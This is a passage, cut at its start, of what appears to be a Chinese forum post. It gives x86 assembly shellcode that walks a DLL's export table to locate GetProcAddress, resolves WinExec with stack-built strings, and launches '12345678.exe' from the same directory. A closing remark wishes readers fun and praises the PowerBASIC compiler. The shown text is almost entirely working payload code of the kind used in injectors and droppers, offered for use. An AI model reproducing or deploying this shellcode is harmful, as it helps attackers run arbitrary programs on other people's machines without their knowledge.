add ebx, edi ;ebx = 函数名地址 search: dec ecx mov esi, [ebx+ecx*4] add esi, edi ;依次找每个函数名称 ;GetProcAddress mov eax, 0x50746547 cmp [esi], eax ;'PteG' jne search mov eax, 0x41636f72 cmp [esi+4], eax ;'Acor' jne search ;如果是GetProcA,表示找到了 mov ebx, [edx+24h] add ebx, edi ;ebx = 索引号地址 mov cx, [ebx+ecx*2] ;ecx = 计算出的索引号值 mov ebx, [edx+1Ch] add ebx, edi ;ebx = 函数地址的起始位置 mov eax, [ebx+ecx*4] add eax, edi ;用索引值,算GetProcAddress mov [ebp+40h], eax ;GetProcAddress的地址=ebp+40 push dword ptr 0x00636578 ;//构造WinExec push dword ptr 0x456e6957 push esp push edi call [ebp+40h] ;//执行GetProcAddress mov [ebp+8h], eax ;//存入WinExec的地址 到[ebp+8h] push 0 push dword ptr 0x6578652e push dword ptr 0x38373635 push dword ptr 0x34333231 //12345678.exe push esp Call [ebp+8h] ;//调用winexec执行同一目录下的12345678.exe ———————————————————————————————————————————— 大家玩好! basic其实很强悍的,没有别人说的那么垃圾 垃圾的是VB 推荐使用powerbasic来编译 很牛的一个编译器 |